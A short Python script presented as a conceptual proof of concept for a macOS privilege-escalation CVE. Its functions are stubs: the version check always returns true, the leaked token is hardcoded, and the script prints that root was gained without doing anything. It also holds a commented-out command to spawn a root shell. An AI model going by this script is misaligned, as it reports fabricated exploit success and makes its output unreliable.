The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-28976 (Conceptual)
# This script demonstrates the logic of exploiting information leakage to gain root privileges.
import os
import sys
def check_vulnerability():
"""
Check if the target macOS version is vulnerable.
Vulnerable: macOS Tahoe < 26.5
"""
# In a real scenario, this would check the OS version accurately
print("[*] Checking macOS version...")
return True # Assume vulnerable for demonstration
def trigger_leak():
"""
Simulate triggering the information leakage vulnerability.
This step aims to read sensitive data (e.g., tokens, memory pointers).
"""
print("[*] Attempting to trigger information leakage via network vector...")
leaked_token = "root_access_token_xyz123"
return leaked_token
def escalate_privileges(token):
"""
Use the leaked information to gain root privileges.
"""
if token:
print(f"[+] Leaked token acquired: {token}")
print("[*] Attempting to use token to escalate privileges to root...")
# Conceptual execution of root command
# os.system("sudo -S /bin/bash")
print("[!] Root privileges gained successfully.")
else:
print("[-] Failed to leak necessary information.")
def main():
if check_vulnerability():
print("[+] System is vulnerable to CVE-2026-28976")
sensitive_data = trigger_leak()
escalate_privileges(sensitive_data)
else:
print("[-] System is not vulnerable.")
if __name__ == "__main__":
main()